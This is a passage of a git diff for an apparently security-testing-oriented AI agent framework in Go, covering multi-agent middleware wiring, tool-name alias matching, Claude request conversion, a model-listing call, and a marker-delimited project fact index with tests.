}
httpClient := &http.Client{ httpClient := &http.Client{
Timeout: 30 * time.Minute, Timeout: 30 * time.Minute,
@@ -210,19 +200,19 @@ func RunDeepAgent(
} }
subDefs := ag.ToolsForRole(roleTools) subDefs := ag.ToolsForRole(roleTools)
subTools, err := einomcp.ToolsFromDefinitions(ag, holder, subDefs, recorder, toolOutputChunk, toolInvokeNotify, id) subTools, err := einomcp.ToolsFromDefinitions(ag, holder, subDefs, recorder, nil, toolInvokeNotify, id)
if err != nil { if err != nil {
return nil, fmt.Errorf("子代理 %q 工具: %w", id, err) return nil, fmt.Errorf("子代理 %q 工具: %w", id, err)
} }
subToolsForCfg, subPre, subToolSearchActive, err := prependEinoMiddlewares(ctx, &ma.EinoMiddleware, einoMWSub, subTools, einoLoc, skillsRoot, conversationID, logger) subToolsForCfg, subPre, subToolSearchActive, err := prependEinoMiddlewares(ctx, &ma.EinoMiddleware, einoMWSub, subTools, einoLoc, skillsRoot, conversationID, projectID, logger)
if err != nil { if err != nil {
return nil, fmt.Errorf("子代理 %q eino 中间件: %w", id, err) return nil, fmt.Errorf("子代理 %q eino 中间件: %w", id, err)
} }
subMax := resolveMaxIterations(appCfg, sub.MaxIterations) subMax := resolveMaxIterations(appCfg, sub.MaxIterations)
subSumMw, err := newEinoSummarizationMiddleware(ctx, subModel, appCfg, &ma.EinoMiddleware, conversationID, logger) subSumMw, err := newEinoSummarizationMiddleware(ctx, subModel, appCfg, &ma.EinoMiddleware, conversationID, db, projectID, logger)
if err != nil { if err != nil {
return nil, fmt.Errorf("子代理 %q summarization 中间件: %w", id, err) return nil, fmt.Errorf("子代理 %q summarization 中间件: %w", id, err)
} }
@@ -233,7 +223,7 @@ func RunDeepAgent(
} }
if einoSkillMW != nil { if einoSkillMW != nil {
if einoFSTools && einoLoc != nil { if einoFSTools && einoLoc != nil {
subFs, fsErr := subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, id, einoExecMonitor, agentToolTimeoutMinutes(appCfg), toolOutputChunk) subFs, fsErr := subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, id, einoExecMonitor, agentToolTimeoutMinutes(appCfg), nil)
if fsErr != nil { if fsErr != nil {
return nil, fmt.Errorf("子代理 %q filesystem 中间件: %w", id, fsErr) return nil, fmt.Errorf("子代理 %q filesystem 中间件: %w", id, fsErr)
} }
@@ -293,7 +283,7 @@ func RunDeepAgent(
return nil, fmt.Errorf("多代理主模型: %w", err) return nil, fmt.Errorf("多代理主模型: %w", err)
} }
mainSumMw, err := newEinoSummarizationMiddleware(ctx, mainModel, appCfg, &ma.EinoMiddleware, conversationID, logger) mainSumMw, err := newEinoSummarizationMiddleware(ctx, mainModel, appCfg, &ma.EinoMiddleware, conversationID, db, projectID, logger)
if err != nil { if err != nil {
return nil, fmt.Errorf("多代理主 summarization 中间件: %w", err) return nil, fmt.Errorf("多代理主 summarization 中间件: %w", err)
} }
@@ -320,11 +310,11 @@ func RunDeepAgent(
} }
} }
mainTools, err := einomcp.ToolsFromDefinitions(ag, holder, mainDefs, recorder, toolOutputChunk, toolInvokeNotify, orchestratorName) mainTools, err := einomcp.ToolsFromDefinitions(ag, holder, mainDefs, recorder, nil, toolInvokeNotify, orchestratorName)
if err != nil { if err != nil {
return nil, err return nil, err
} }
mainToolsForCfg, mainOrchestratorPre, mainToolSearchActive, err := prependEinoMiddlewares(ctx, &ma.EinoMiddleware, einoMWMain, mainTools, einoLoc, skillsRoot, conversationID, logger) mainToolsForCfg, mainOrchestratorPre, mainToolSearchActive, err := prependEinoMiddlewares(ctx, &ma.EinoMiddleware, einoMWMain, mainTools, einoLoc, skillsRoot, conversationID, projectID, logger)
if err != nil { if err != nil {
return nil, err return nil, err
} }
@@ -371,7 +361,7 @@ func RunDeepAgent(
inner: einoLoc, inner: einoLoc,
invokeNotify: toolInvokeNotify, invokeNotify: toolInvokeNotify,
einoAgentName: orchestratorName, einoAgentName: orchestratorName,
outputChunk: toolOutputChunk, outputChunk: nil,
recordMonitor: einoExecMonitor, recordMonitor: einoExecMonitor,
toolTimeoutMinutes: agentToolTimeoutMinutes(appCfg), toolTimeoutMinutes: agentToolTimeoutMinutes(appCfg),
} }
@@ -438,7 +428,7 @@ func RunDeepAgent(
// 构建 filesystem 中间件(与 Deep sub-agent 一致) // 构建 filesystem 中间件(与 Deep sub-agent 一致)
var peFsMw adk.ChatModelAgentMiddleware var peFsMw adk.ChatModelAgentMiddleware
if einoSkillMW != nil && einoFSTools && einoLoc != nil { if einoSkillMW != nil && einoFSTools && einoLoc != nil {
peFsMw, err = subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, "executor", einoExecMonitor, agentToolTimeoutMinutes(appCfg), toolOutputChunk) peFsMw, err = subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, "executor", einoExecMonitor, agentToolTimeoutMinutes(appCfg), nil)
if err != nil { if err != nil {
return nil, fmt.Errorf("plan_execute filesystem 中间件: %w", err) return nil, fmt.Errorf("plan_execute filesystem 中间件: %w", err)
} }
@@ -453,6 +443,8 @@ func RunDeepAgent(
AppCfg: appCfg, AppCfg: appCfg,
MwCfg: &ma.EinoMiddleware, MwCfg: &ma.EinoMiddleware,
ConversationID: conversationID, ConversationID: conversationID,
DB: db,
ProjectID: projectID,
Logger: logger, Logger: logger,
ModelName: appCfg.OpenAI.Model, ModelName: appCfg.OpenAI.Model,
ExecPreMiddlewares: mainOrchestratorPre, ExecPreMiddlewares: mainOrchestratorPre,
@@ -565,6 +557,7 @@ func RunDeepAgent(
McpIDs: &mcpIDs, McpIDs: &mcpIDs,
FilesystemMonitorAgent: ag, FilesystemMonitorAgent: ag,
FilesystemMonitorRecord: recorder, FilesystemMonitorRecord: recorder,
MCPExecutionBinder: mcpExecBinder,
ToolInvokeNotify: toolInvokeNotify, ToolInvokeNotify: toolInvokeNotify,
DA: da, DA: da,
ModelFacingTrace: modelFacingTrace, ModelFacingTrace: modelFacingTrace,
@@ -0,0 +1,72 @@
package multiagent
import (
"strings"
)
// expandAlwaysVisibleNameSet 将配置中的常驻工具名展开为可匹配运行时工具名的集合。
// 支持:内置短名 read_file;外部 mcp::tool;运行时 mcp__toolOpenAI/Eino 命名)。
func expandAlwaysVisibleNameSet(names []string) map[string]struct{} {
set := make(map[string]struct{}, len(names)*3)
add := func(name string) {
n := strings.TrimSpace(strings.ToLower(name))
if n == "" {
return
}
set[n] = struct{}{}
}
for _, raw := range names {
n := strings.TrimSpace(strings.ToLower(raw))
if n == "" {
continue
}
add(n)
if mcp, tool, ok := strings.Cut(n, "::"); ok && mcp != "" && tool != "" {
// 外部工具用 mcp::tool 配置时只展开运行时 mcp__tool,避免短名误伤其它 MCP 同名工具。
add(mcp + "__" + tool)
continue
}
if idx := strings.LastIndex(n, "__"); idx > 0 {
mcp, tool := n[:idx], n[idx+2:]
if mcp != "" && tool != "" {
add(mcp + "::" + tool)
}
continue
}
}
return set
}
// toolMatchesAlwaysVisible 判断运行时工具名是否命中常驻白名单(含别名)。
func toolMatchesAlwaysVisible(runtimeName string, nameSet map[string]struct{}) bool {
if len(nameSet) == 0 {
return false
}
name := strings.TrimSpace(strings.ToLower(runtimeName))
if name == "" {
return false
}
if _, ok := nameSet[name]; ok {
return true
}
if mcp, tool, ok := strings.Cut(name, "::"); ok && mcp != "" && tool != "" {
if _, ok := nameSet[mcp+"__"+tool]; ok {
return true
}
if _, ok := nameSet[tool]; ok {
return true
}
}
if idx := strings.LastIndex(name, "__"); idx > 0 {
mcp, tool := name[:idx], name[idx+2:]
if mcp != "" && tool != "" {
if _, ok := nameSet[mcp+"::"+tool]; ok {
return true
}
if _, ok := nameSet[tool]; ok {
return true
}
}
}
return false
}
@@ -0,0 +1,32 @@
package multiagent
import "testing"
func TestToolMatchesAlwaysVisible_ExternalAliases(t *testing.T) {
t.Parallel()
set := expandAlwaysVisibleNameSet([]string{"zhidemai::discount_search", "read_file"})
cases := []struct {
runtime string
want bool
}{
{"zhidemai__discount_search", true},
{"zhidemai::discount_search", true},
{"read_file", true},
{"zhidemai__product_search_pro", false},
{"github__discount_search", false},
}
for _, tc := range cases {
if got := toolMatchesAlwaysVisible(tc.runtime, set); got != tc.want {
t.Fatalf("toolMatchesAlwaysVisible(%q) = %v, want %v", tc.runtime, got, tc.want)
}
}
}
func TestExpandAlwaysVisibleNameSet_LegacyShortName(t *testing.T) {
t.Parallel()
set := expandAlwaysVisibleNameSet([]string{"discount_search"})
if !toolMatchesAlwaysVisible("zhidemai__discount_search", set) {
t.Fatal("legacy short name should match external runtime tool")
}
}
+10 -4
View File
@@ -10,7 +10,7 @@ package openai
// Auth: Bearer → x-api-key // Auth: Bearer → x-api-key
// Tools: OpenAI tools[] → Claude tools[] (input_schema) // Tools: OpenAI tools[] → Claude tools[] (input_schema)
// //
// Extended thinking: 顶层 `thinking` 从 OpenAI 请求体透传;响应中 `thinking` block 映射为 // Extended thinking: 顶层 `thinking` / `output_config` 从 OpenAI 请求体透传;响应中 `thinking` block 映射为
// `reasoning_content`(可读前缀 + 内部 JSON 尾缀以保留 signature,供多轮工具续跑;UI 用 openai.DisplayReasoningContent 剥离)。 // `reasoning_content`(可读前缀 + 内部 JSON 尾缀以保留 signature,供多轮工具续跑;UI 用 openai.DisplayReasoningContent 剥离)。
import ( import (
@@ -40,8 +40,9 @@ type claudeRequest struct {
System string `json:"system,omitempty"` System string `json:"system,omitempty"`
Messages []claudeMessage `json:"messages"` Messages []claudeMessage `json:"messages"`
Tools []claudeTool `json:"tools,omitempty"` Tools []claudeTool `json:"tools,omitempty"`
Stream bool `json:"stream,omitempty"` Stream bool `json:"stream,omitempty"`
Thinking json.RawMessage `json:"thinking,omitempty"` Thinking json.RawMessage `json:"thinking,omitempty"`
OutputConfig json.RawMessage `json:"output_config,omitempty"`
} }
type claudeMessage struct { type claudeMessage struct {
@@ -304,12 +305,17 @@ func convertOpenAIToClaude(payload interface{}) (*claudeRequest, error) {
} }
} }
// Extended thinking (Anthropic top-level); merged from Eino ExtraFields / admin extras. // Extended thinking + effort (Anthropic top-level); merged from Eino ExtraFields / admin extras.
if th, ok := oai["thinking"]; ok && th != nil { if th, ok := oai["thinking"]; ok && th != nil {
if raw, err := json.Marshal(th); err == nil && len(raw) > 0 && string(raw) != "null" { if raw, err := json.Marshal(th); err == nil && len(raw) > 0 && string(raw) != "null" {
req.Thinking = json.RawMessage(raw) req.Thinking = json.RawMessage(raw)
} }
} }
if oc, ok := oai["output_config"]; ok && oc != nil {
if raw, err := json.Marshal(oc); err == nil && len(raw) > 0 && string(raw) != "null" {
req.OutputConfig = json.RawMessage(raw)
}
}
return req, nil return req, nil
} }
@@ -73,6 +73,39 @@ func TestConvertOpenAIToClaude_AssistantReasoningReplay(t *testing.T) {
} }
} }
func TestConvertOpenAIToClaude_OutputConfigEffort(t *testing.T) {
payload := map[string]interface{}{
"model": "claude-opus-4-8",
"messages": []interface{}{
map[string]interface{}{"role": "user", "content": "hi"},
},
"thinking": map[string]interface{}{
"type": "adaptive",
"display": "summarized",
},
"output_config": map[string]interface{}{
"effort": "high",
},
}
req, err := convertOpenAIToClaude(payload)
if err != nil {
t.Fatal(err)
}
if len(req.Thinking) == 0 {
t.Fatal("expected thinking")
}
if len(req.OutputConfig) == 0 {
t.Fatal("expected output_config")
}
var oc map[string]interface{}
if err := json.Unmarshal(req.OutputConfig, &oc); err != nil {
t.Fatal(err)
}
if oc["effort"] != "high" {
t.Fatalf("effort=%v", oc["effort"])
}
}
func TestClaudeToOpenAIResponseJSON_Thinking(t *testing.T) { func TestClaudeToOpenAIResponseJSON_Thinking(t *testing.T) {
claudeBody := []byte(`{ claudeBody := []byte(`{
"id":"msg_1","type":"message","role":"assistant","model":"x","stop_reason":"end_turn", "id":"msg_1","type":"message","role":"assistant","model":"x","stop_reason":"end_turn",
+79
View File
@@ -8,6 +8,7 @@ import (
"fmt" "fmt"
"io" "io"
"net/http" "net/http"
"sort"
"strings" "strings"
"time" "time"
"unicode/utf8" "unicode/utf8"
@@ -535,3 +536,81 @@ func (c *Client) ChatCompletionStreamWithToolCalls(
return full.String(), toolCalls, finishReason, nil return full.String(), toolCalls, finishReason, nil
} }
// ModelsListResponse 表示 OpenAI 兼容 GET /models 响应。
type ModelsListResponse struct {
Object string `json:"object"`
Data []struct {
ID string `json:"id"`
Object string `json:"object,omitempty"`
OwnedBy string `json:"owned_by,omitempty"`
} `json:"data"`
}
// ListModels 调用 GET {baseURL}/models 获取可用模型 id 列表(按字典序)。
func (c *Client) ListModels(ctx context.Context) ([]string, error) {
if c == nil {
return nil, fmt.Errorf("openai client is not initialized")
}
if c.config == nil {
return nil, fmt.Errorf("openai config is nil")
}
if strings.TrimSpace(c.config.APIKey) == "" {
return nil, fmt.Errorf("openai api key is empty")
}
if c.isClaude() {
return nil, fmt.Errorf("claude provider does not support models list API")
}
baseURL := strings.TrimSuffix(c.config.BaseURL, "/")
if baseURL == "" {
baseURL = "https://api.openai.com/v1"
}
req, err := http.NewRequestWithContext(ctx, http.MethodGet, baseURL+"/models", nil)
if err != nil {
return nil, fmt.Errorf("build openai models request: %w", err)
}
req.Header.Set("Authorization", "Bearer "+c.config.APIKey)
resp, err := c.httpClient.Do(req)
if err != nil {
return nil, fmt.Errorf("call openai models api: %w", err)
}
defer resp.Body.Close()
respBody, err := io.ReadAll(resp.Body)
if err != nil {
return nil, fmt.Errorf("read openai models response: %w", err)
}
if resp.StatusCode != http.StatusOK {
return nil, &APIError{
StatusCode: resp.StatusCode,
Body: string(respBody),
}
}
var list ModelsListResponse
if err := json.Unmarshal(respBody, &list); err != nil {
return nil, fmt.Errorf("decode openai models response: %w", err)
}
seen := make(map[string]struct{}, len(list.Data))
models := make([]string, 0, len(list.Data))
for _, item := range list.Data {
id := strings.TrimSpace(item.ID)
if id == "" {
continue
}
if _, ok := seen[id]; ok {
continue
}
seen[id] = struct{}{}
models = append(models, id)
}
sort.Strings(models)
if len(models) == 0 {
return nil, fmt.Errorf("models list is empty")
}
return models, nil
}
+35 -14
View File
@@ -2,7 +2,6 @@ package project
import ( import (
"fmt" "fmt"
"sort"
"strings" "strings"
"cyberstrike-ai/internal/config" "cyberstrike-ai/internal/config"
@@ -22,7 +21,13 @@ func AppendSystemPromptBlock(base, block string) string {
return base + "\n\n" + block return base + "\n\n" + block
} }
// BuildFactIndexBlock 为 Agent 系统提示生成项目黑板索引(仅 key + summary,不含 body)。 const (
factIndexFooterGetDetail = "需要完整内容(攻击链、POC、请求响应等)时必须调用 get_project_fact(fact_key),禁止凭摘要臆造细节。"
factIndexFooterWriteHint = "写入事实 links 时用 from(来源 fact_key → 当前 fact),如 finding 上 {from:target/*, type:discovered_on}body 写可复现全流程(发现/利用类 fact_key 建议 finding|chain|exploit|poc/ 前缀)。"
factIndexFooterEmpty = "需要写入请使用 upsert_project_fact;需要详情请调用 get_project_fact(fact_key)。"
)
// BuildFactIndexBlock 为 Agent 系统提示生成项目黑板索引(key + summary + 关系边 + 攻击路径,不含 body)。
func BuildFactIndexBlock(db *database.DB, projectID string, cfg config.ProjectConfig) (string, error) { func BuildFactIndexBlock(db *database.DB, projectID string, cfg config.ProjectConfig) (string, error) {
if db == nil || !cfg.Enabled { if db == nil || !cfg.Enabled {
return "", nil return "", nil
@@ -41,27 +46,38 @@ func BuildFactIndexBlock(db *database.DB, projectID string, cfg config.ProjectCo
if err != nil { if err != nil {
return "", err return "", err
} }
allEdges, _ := db.ListProjectFactEdgesByProject(projectID)
_, incomingByTarget := indexEdgeGroupMaps(allEdges)
if len(facts) == 0 { if len(facts) == 0 {
return fmt.Sprintf("## 项目黑板索引(project: %s, id: %s\n(暂无事实)\n需要写入请使用 upsert_project_fact;需要详情请调用 get_project_fact(fact_key)。", proj.Name, proj.ID), nil return wrapFactIndexBlock(fmt.Sprintf("## 项目黑板索引(project: %s, id: %s\n(暂无事实)\n%s", proj.Name, proj.ID, factIndexFooterEmpty)), nil
} }
sort.SliceStable(facts, func(i, j int) bool { sortFactsForIndex(facts)
if facts[i].Pinned != facts[j].Pinned {
return facts[i].Pinned
}
return facts[i].UpdatedAt.After(facts[j].UpdatedAt)
})
maxRunes := cfg.FactIndexMaxRunesEffective() maxRunes := cfg.FactIndexMaxRunesEffective()
pathMaxRunes := cfg.FactIndexPathMaxRunesEffective()
footer := factIndexFooterGetDetail + "\n" + factIndexFooterWriteHint
footerRunes := len([]rune(footer))
factsBudget := maxRunes - pathMaxRunes - footerRunes
if factsBudget < 800 {
factsBudget = maxRunes - footerRunes
pathMaxRunes = 0
}
indexedKeys := make(map[string]struct{}, len(facts))
var b strings.Builder var b strings.Builder
b.WriteString(fmt.Sprintf("## 项目黑板索引(project: %s, id: %s\n", proj.Name, proj.ID)) b.WriteString(fmt.Sprintf("## 项目黑板索引(project: %s, id: %s\n", proj.Name, proj.ID))
used := len([]rune(b.String())) used := len([]rune(b.String()))
omitted := 0 omitted := 0
for _, f := range facts { for _, f := range facts {
line := fmt.Sprintf("- [%s] %s — %s (%s)\n", f.FactKey, f.Category, strings.TrimSpace(f.Summary), f.Confidence) indexedKeys[f.FactKey] = struct{}{}
line := fmt.Sprintf("- [%s] %s — %s (%s)", f.FactKey, f.Category, strings.TrimSpace(f.Summary), f.Confidence)
line += FormatFactIndexLinksHint(f.FactKey, incomingByTarget[f.FactKey])
line += "\n"
lineRunes := len([]rune(line)) lineRunes := len([]rune(line))
if used+lineRunes > maxRunes { if used+lineRunes > factsBudget {
omitted++ omitted++
continue continue
} }
@@ -72,7 +88,12 @@ func BuildFactIndexBlock(db *database.DB, projectID string, cfg config.ProjectCo
if omitted > 0 { if omitted > 0 {
b.WriteString(fmt.Sprintf("\n(另有 %d 条未列入索引,请使用 list_project_facts 或 search_project_facts 查询。)\n", omitted)) b.WriteString(fmt.Sprintf("\n(另有 %d 条未列入索引,请使用 list_project_facts 或 search_project_facts 查询。)\n", omitted))
} }
b.WriteString("需要完整内容(攻击链、POC、请求响应等)时必须调用 get_project_fact(fact_key),禁止凭摘要臆造细节。\n")
b.WriteString("写入事实时:summary 写「什么+在哪+如何验证」;body 写可复现全流程(发现/利用类 fact_key 建议 finding|chain|exploit|poc/ 前缀)。\n") if pathSection := BuildFactPathOverviewSection(allEdges, indexedKeys, pathMaxRunes); pathSection != "" {
return b.String(), nil b.WriteString("\n")
b.WriteString(pathSection)
}
b.WriteString(footer)
return wrapFactIndexBlock(b.String()), nil
} }
+56
View File
@@ -0,0 +1,56 @@
package project
import "strings"
// FactIndexSectionHeading 黑板索引可读标题行前缀(块内保留,供 Agent 阅读)。
const FactIndexSectionHeading = "## 项目黑板索引"
// FactIndexSectionStartMarker / EndMarkerHTML 注释边界,供程序化替换;对模型无指令语义。
const (
FactIndexSectionStartMarker = "<!-- fact-index-start -->"
FactIndexSectionEndMarker = "<!-- fact-index-end -->"
)
// ReplaceFactIndexSection 用 freshIndex 替换 content 中已有的项目黑板索引段。
// freshIndex 须为 BuildFactIndexBlock 的完整输出。起止 HTML 注释缺失时返回 (_, false)。
func ReplaceFactIndexSection(content, freshIndex string) (string, bool) {
freshIndex = strings.TrimSpace(freshIndex)
if freshIndex == "" {
return content, false
}
start, ok := factIndexSectionStart(content)
if !ok {
return content, false
}
end, ok := factIndexSectionEnd(content, start)
if !ok || end <= start {
return content, false
}
return content[:start] + freshIndex + content[end:], true
}
// wrapFactIndexBlock 为 BuildFactIndexBlock 正文加上统一起止 HTML 注释边界。
func wrapFactIndexBlock(content string) string {
content = strings.TrimSpace(content)
return FactIndexSectionStartMarker + "\n" + content + "\n" + FactIndexSectionEndMarker + "\n"
}
func factIndexSectionStart(content string) (int, bool) {
idx := strings.Index(content, FactIndexSectionStartMarker)
if idx < 0 {
return 0, false
}
return idx, true
}
func factIndexSectionEnd(content string, start int) (int, bool) {
if start < 0 || start >= len(content) {
return 0, false
}
tail := content[start:]
idx := strings.LastIndex(tail, FactIndexSectionEndMarker)
if idx < 0 {
return 0, false
}
return start + idx + len(FactIndexSectionEndMarker), true
}
+154
View File
@@ -0,0 +1,154 @@
package project
import (
"path/filepath"
"strings"
"testing"
"cyberstrike-ai/internal/config"
"cyberstrike-ai/internal/database"
"go.uber.org/zap"
)
func sampleFactIndexWithFacts(projectLabel, summary string) string {
return wrapFactIndexBlock("## 项目黑板索引(project: " + projectLabel + ", id: x\n" +
"- [target/a] target — " + summary + " (tentative)\n" +
factIndexFooterGetDetail + "\n" +
factIndexFooterWriteHint)
}
func TestReplaceFactIndexSection(t *testing.T) {
t.Parallel()
oldIndex := sampleFactIndexWithFacts("p1", "old summary")
newIndex := sampleFactIndexWithFacts("p1", "new summary")
t.Run("replaces index before next section", func(t *testing.T) {
content := "你是助手\n\n" + oldIndex + "\n\n## 图片分析\n看截图"
out, ok := ReplaceFactIndexSection(content, newIndex)
if !ok {
t.Fatal("expected replacement")
}
if strings.Contains(out, "old summary") {
t.Fatalf("old index should be gone: %q", out)
}
if !strings.Contains(out, "new summary") || !strings.Contains(out, "## 图片分析") {
t.Fatalf("expected new index and preserved vision section: %q", out)
}
if strings.Count(out, FactIndexSectionStartMarker) != 1 || strings.Count(out, FactIndexSectionEndMarker) != 1 {
t.Fatalf("expected exactly one start/end marker pair: %q", out)
}
})
t.Run("replaces index at end", func(t *testing.T) {
content := "## 项目测试范围\nscope\n\n" + oldIndex
out, ok := ReplaceFactIndexSection(content, newIndex)
if !ok {
t.Fatal("expected replacement")
}
if !strings.Contains(out, "## 项目测试范围") || !strings.Contains(out, "new summary") {
t.Fatalf("scope preserved, index updated: %q", out)
}
})
t.Run("summary with false markdown header does not truncate early", func(t *testing.T) {
summaryWithFakeHeader := "see\n\n## fake header in summary"
old := sampleFactIndexWithFacts("p1", summaryWithFakeHeader)
newIdx := sampleFactIndexWithFacts("p1", "new summary")
content := old + "\n\n## 图片分析\nvision"
out, ok := ReplaceFactIndexSection(content, newIdx)
if !ok {
t.Fatal("expected replacement")
}
if strings.Contains(out, "fake header in summary") {
t.Fatalf("old index tail should be fully removed: %q", out)
}
})
t.Run("summary containing end marker text does not truncate early", func(t *testing.T) {
summary := "note " + FactIndexSectionEndMarker + " in summary"
old := sampleFactIndexWithFacts("p1", summary)
newIdx := sampleFactIndexWithFacts("p1", "clean")
content := old + "\n\n## 图片分析\nvision"
out, ok := ReplaceFactIndexSection(content, newIdx)
if !ok {
t.Fatal("expected replacement")
}
if strings.Contains(out, "in summary") {
t.Fatalf("old block should be fully removed: %q", out)
}
})
t.Run("missing html markers does not replace", func(t *testing.T) {
legacy := "## 项目黑板索引(project: p1, id: x\n- [a] note — old (tentative)\n"
newIdx := sampleFactIndexWithFacts("p1", "new")
out, ok := ReplaceFactIndexSection("prefix\n\n"+legacy, newIdx)
if ok {
t.Fatalf("expected no replacement without markers: %q", out)
}
})
t.Run("empty facts block", func(t *testing.T) {
oldEmpty := wrapFactIndexBlock("## 项目黑板索引(project: p1, id: x\n(暂无事实)\n" + factIndexFooterEmpty)
newEmpty := sampleFactIndexWithFacts("p1", "first fact")
out, ok := ReplaceFactIndexSection(oldEmpty, newEmpty)
if !ok {
t.Fatal("expected replacement")
}
if strings.Contains(out, "(暂无事实)") {
t.Fatalf("old empty block should be gone: %q", out)
}
})
t.Run("no marker", func(t *testing.T) {
_, ok := ReplaceFactIndexSection("no blackboard here", newIndex)
if ok {
t.Fatal("expected false when marker missing")
}
})
t.Run("empty fresh index", func(t *testing.T) {
_, ok := ReplaceFactIndexSection(oldIndex, " ")
if ok {
t.Fatal("expected false for empty fresh index")
}
})
}
func TestFactIndexSectionBounds_useHTMLMarkers(t *testing.T) {
t.Parallel()
body := sampleFactIndexWithFacts("p", "line with\n\n## not a real section") + "TAIL_SHOULD_DROP"
start, ok := factIndexSectionStart(body)
if !ok || !strings.HasPrefix(body[start:], FactIndexSectionStartMarker) {
t.Fatalf("start should be at html start marker, got %d", start)
}
end, ok := factIndexSectionEnd(body, start)
if !ok || body[end:] != "\nTAIL_SHOULD_DROP" {
t.Fatalf("end should be after end marker, got remainder %q", body[end:])
}
}
func TestBuildFactIndexBlock_includesHTMLMarkers(t *testing.T) {
t.Parallel()
dbPath := filepath.Join(t.TempDir(), "facts.db")
db, err := database.NewDB(dbPath, zap.NewNop())
if err != nil {
t.Fatal(err)
}
defer db.Close()
proj, err := db.CreateProject(&database.Project{Name: "marker-proj"})
if err != nil {
t.Fatal(err)
}
block, err := BuildFactIndexBlock(db, proj.ID, config.ProjectConfig{Enabled: true})
if err != nil {
t.Fatal(err)
}
if !strings.HasPrefix(strings.TrimSpace(block), FactIndexSectionStartMarker) {
t.Fatalf("block should start with start marker: %q", block)
}
if !strings.Contains(block, FactIndexSectionEndMarker) {
t.Fatalf("block should include end marker: %q", block)
}
}
+256
View File
@@ -0,0 +1,256 @@
package project
import (
"fmt"
"regexp"
"strings"
"cyberstrike-ai/internal/database"
)
var (
bodyDepFactLine = regexp.MustCompile(`(?im)^[\s\-*]*依赖事实\s*[:]\s*([a-z0-9][a-z0-9._/-]*)`)
bodyRelFactLine = regexp.MustCompile(`(?im)^[\s\-*]*相关\s*fact_key\s*[:]\s*([a-z0-9][a-z0-9._/-]*)`)
bodyAssocSection = regexp.MustCompile(`(?im)^##\s*关联\s*$`)
bodySyncLinksHead = "结构化关系边(自动同步)"
)
// ParseLinksFromBody 从 body「关联」段落解析 from 语义的关系边(无显式 links 时的兜底)。
func ParseLinksFromBody(body string) []database.ProjectFactEdgeFromInput {
body = strings.TrimSpace(body)
if body == "" {
return nil
}
seen := map[string]struct{}{}
var out []database.ProjectFactEdgeFromInput
add := func(key, edgeType string) {
key = strings.TrimSpace(key)
if key == "" {
return
}
if err := database.ValidateFactKey(key); err != nil {
return
}
sig := edgeType + "\x00" + key
if _, ok := seen[sig]; ok {
return
}
seen[sig] = struct{}{}
out = append(out, database.ProjectFactEdgeFromInput{From: key, Type: edgeType})
}
for _, m := range bodyDepFactLine.FindAllStringSubmatch(body, -1) {
if len(m) > 1 {
add(m[1], "depends_on")
}
}
for _, m := range bodyRelFactLine.FindAllStringSubmatch(body, -1) {
if len(m) > 1 {
add(m[1], "supports")
}
}
// 自动同步块:type: key
syncBlock := extractBodySyncLinksBlock(body)
for _, line := range strings.Split(syncBlock, "\n") {
line = strings.TrimSpace(strings.TrimPrefix(strings.TrimSpace(line), "-"))
if line == "" {
continue
}
edgeType, source, ok := strings.Cut(line, ":")
if !ok {
continue
}
edgeType = strings.TrimSpace(edgeType)
source = strings.TrimSpace(source)
if err := database.ValidateProjectFactEdgeType(edgeType); err != nil {
continue
}
add(source, edgeType)
}
if len(out) == 0 {
return nil
}
return out
}
func extractBodySyncLinksBlock(body string) string {
lines := strings.Split(body, "\n")
var b strings.Builder
inAssoc := false
inSync := false
for _, line := range lines {
trim := strings.TrimSpace(line)
if bodyAssocSection.MatchString(trim) {
inAssoc = true
inSync = false
continue
}
if inAssoc && strings.HasPrefix(trim, "## ") && !strings.HasPrefix(trim, "## 关联") {
break
}
if inAssoc && strings.Contains(trim, bodySyncLinksHead) {
inSync = true
continue
}
if inSync {
if trim == "" || strings.HasPrefix(trim, "-") || strings.Contains(trim, ":") {
if strings.HasPrefix(trim, "-") || (strings.Contains(trim, ":") && !strings.Contains(trim, "related_vulnerability")) {
b.WriteString(trim)
b.WriteByte('\n')
}
} else if strings.HasPrefix(trim, "##") {
break
}
}
}
return b.String()
}
// SyncBodyLinksSection 将入边镜像写入 body 的「关联」段(人读用;结构化以 links 为准)。
func SyncBodyLinksSection(body string, edges []*database.ProjectFactEdge) string {
body = strings.TrimSpace(body)
block := formatBodySyncLinksBlock(edges)
if block == "" {
return body
}
if body == "" {
return "## 关联\n" + block
}
lines := strings.Split(body, "\n")
var out []string
inAssoc := false
replaced := false
for i := 0; i < len(lines); i++ {
trim := strings.TrimSpace(lines[i])
if bodyAssocSection.MatchString(trim) {
inAssoc = true
out = append(out, lines[i])
// 跳过旧同步块
j := i + 1
for j < len(lines) {
t := strings.TrimSpace(lines[j])
if strings.HasPrefix(t, "## ") {
break
}
if strings.Contains(t, bodySyncLinksHead) {
for j < len(lines) {
t2 := strings.TrimSpace(lines[j])
if t2 != "" && !strings.HasPrefix(t2, "-") && !strings.Contains(t2, ":") && !strings.Contains(t2, bodySyncLinksHead) {
if strings.HasPrefix(t2, "##") {
break
}
}
j++
if j < len(lines) && strings.HasPrefix(strings.TrimSpace(lines[j]), "## ") {
break
}
if j >= len(lines) {
break
}
if j > i+1 && strings.TrimSpace(lines[j-1]) == "" && strings.HasPrefix(strings.TrimSpace(lines[j]), "## ") {
break
}
}
break
}
j++
}
out = append(out, block)
i = j - 1
replaced = true
continue
}
out = append(out, lines[i])
}
if !replaced {
if !inAssoc {
out = append(out, "", "## 关联", block)
} else {
out = append(out, block)
}
}
return strings.TrimSpace(strings.Join(out, "\n"))
}
func formatBodySyncLinksBlock(edges []*database.ProjectFactEdge) string {
if len(edges) == 0 {
return fmt.Sprintf("- %s:\n (暂无)", bodySyncLinksHead)
}
var b strings.Builder
b.WriteString("- ")
b.WriteString(bodySyncLinksHead)
b.WriteString(":\n")
for _, e := range edges {
b.WriteString(fmt.Sprintf(" - %s: %s\n", e.EdgeType, e.SourceFactKey))
}
return strings.TrimRight(b.String(), "\n")
}
// ResolveFactLinksForUpsert 合并显式 links、links_text 与 body 解析结果。
func ResolveFactLinksForUpsert(explicit []database.ProjectFactEdgeFromInput, linksText *string, body string, explicitSet bool) ([]database.ProjectFactEdgeFromInput, bool, error) {
if explicitSet {
if len(explicit) > 0 {
return explicit, true, nil
}
if linksText != nil {
parsed, err := ParseFactLinksText(*linksText)
if err != nil {
return nil, true, err
}
if parsed == nil {
